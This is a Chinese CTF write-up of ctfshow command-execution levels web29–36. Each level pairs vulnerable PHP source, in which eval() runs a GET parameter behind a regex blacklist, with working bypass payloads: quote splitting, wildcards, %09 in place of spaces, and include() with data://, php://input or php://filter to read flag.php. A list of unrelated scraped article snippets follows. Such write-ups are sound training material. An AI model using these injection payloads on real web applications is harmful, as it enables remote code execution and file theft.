ctfshow web入门 命令执行 web29-36
29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化
web29
1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }
涉及知识点
1、执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})
(前六个为php可调用并执行linux指令的函数)
2、关键字屏蔽绕过:''、""、?、*、\、字符拼接、数组拼接
3、文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi
payload
c=system('tac fla""g.php');
注意:不可单引号内用单引号,双引号内用双引号
若使用 cat 命令查看,需要右击查看页面源代码
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单增加:system、php
payload
c=syst\em('tac fl""ag.p""hp'); //对system进行绕过处理,但无法获取flag
真正payload:c=passthru('tac fl""ag.p""hp');
理由:
system()函数是 php 中的函数,不支持 '' "" \ ? * 绕过
但linux支持
但 php 支持字符拼接、数组拼接 c=eval('sys'.'tem("tac fl\ag.p\hp");');
c=eval(implode(['sys','tem("tac fla','g.ph','p");']));
web31
1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }
黑名单增加:cat sort shell . ‘
知识点:
空格绕过:<>、{,}、${IFS}、$IFS$9、%09、%0a、%0b、%0c
payload
c=echo(`tac%09fla*`); //由于屏蔽 . 应用匹配符替代(* ?)
c=echo%09`tac%09fla*`;
c=passthru("tac%09fl*"); //单引号被屏蔽,只能使用双引号
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单增加: ` echo ; (
由于 ( 的,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议
知识点:
1、文件包含函数:include、require、include_once、require_once
2、伪协议:php:// data:// file:// zip://
3、分号在代码中表示结束,php代码格式为 <?php ?>,分号与 ?> 同为结束符,这里使用 ?> 代替分号
payload
解法一
c=include%09$_GET[1]?>&1=data://text/palin,<?php system('tac flag.php')?> //使用data伪协议
解法二
c=include%09$_GET[1]?>&1=php://input //使用php伪协议
抓包,在请求体、请求头添加下列信息
解法三
c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php //使用php伪协议
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YzJhZmM2MDgtNzNjNC00ODEyLWJkMGYtOTQ0ZmNjOTVhMGUxfSI7DQo=
这是对flag.php文件进行base64编码后的内容
进行base64解码,可得flag
base64解码 原因
源代码只对参数 $C 进行黑名单匹配,我们对 $c 再嵌套一个参数,对于 $c 嵌套的参数无法匹配
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加双引号,不影响我们,解法同32
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加冒号,解法同32
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加 < =,解法同32
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加:/ 数字
将 web32 的参数换成字母
payload
c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include%09$_GET[a]?>&a=php://input
c=include%09$_GET[a]?>&a=data://text/palin,<?=system('cat flag.php')?>
参考
[WEB安全]PHP伪协议总结 - 肖洋肖恩、 - 博客园 (cnblogs.com)
ctfshow web入门 命令执行 web29-36的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- web漏洞-命令执行、文件上传、XSS
一.命令执行 1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...
- (大数据工程师学习路径)第一步 Linux 基础入门----命令执行顺序控制与管道
介绍 顺序执行.选择执行.管道.cut 命令.grep 命令.wc 命令.sort 命令等,高效率使用 Linux 的技巧. 一.命令执行顺序的控制 1.顺序执行多条命令 通常情况下,我们每次只能在终 ...
- 【CTF WEB】命令执行
命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...
- Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境
在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
随机推荐
- Hystrix断路器
1.介绍 ①产生原因 服务雪崩: 多个微服务之间调用,假设A调用B,C,B和C又调用其他微服务,这就是扇出. 如果扇出的链路上有某个微服务调用响应时间过长或者不可用,那么A调用会占用越来越多的系统资源 ...
- cs 起源 fps 逆向
1.找到人物坐标X YZ2.找到鼠标X Y3.易语言读取人物坐标4.读取敌人坐标打开控制台服务器与客户端尽量找客户端 找到XYZ5.实时读取敌人坐标6.三角函数转换屏幕坐标FOV 视场角狙击枪找FOV ...
- 郁金香5 分析游戏内npc 数据
004D4BAE | CC | int3 | 004D4BAF | CC | int3 | 004D4BB0 | 55 | push ebp | 004D4BB1 | 8BEC | mov ebp,e ...
- JZOJ 2020.07.30【NOIP提高组】模拟
总结 本场比赛很不负责对待 暴力都没怎么打 一个半小时后才开始打题 很悲剧的只有 \(23+11+36=70\) 分 \(T1\) 4300. 装饰大楼 题目 略 思路 很无聊的找规律题 考场弃疗 \ ...
- CPU AMX 详解
CPU AMX 详解 CPU AMX 详解 概述 算力如何 问题定义 AVX如何解决矩阵乘问题 AMX如何解决矩阵乘问题 如何实现的 计算部分 数据部分 路才开始 概述 2016 年开始,随着 NV ...
- 了解舵机以及MG996R的控制方法
了解舵机以及MG996R的控制方法 1.舵机基础知识: 舵机是遥控航空.航天模型控制动作,改变方向的重要组成部件,舵机是一种位置(角度)伺服的驱动器. 舵机主要适用于那些需要角度不断变化并可以保持的控 ...
- video遇到问题汇总
1.调取视频自动播放video.play()时报错 Uncaught (in promise) DOMException: play() failed because the user didn't ...
- JUC学习笔记
1 进程与线程:进程指正在运行的程序,进程拥有一个完整的.私有的基本运行资源集合.它有自己的内存空间.为了便于进程之间的通信,大多数操作系统都都支持进程间通信(IPC). IPC通信包括管道.消息队列 ...
- CF1738E Balance Addicts
个人思路: \(sum_i\) 表示前 \(i\) 个数的前缀和,推一下式子可知是要选若干对 \(l_i,r_i\),使得 \(l_1 < l_2 <\dots < l_k \le ...
- cascader卡顿
<el-cascader :options="categoryTree" :props="props" collapse-tags v-model=&qu ...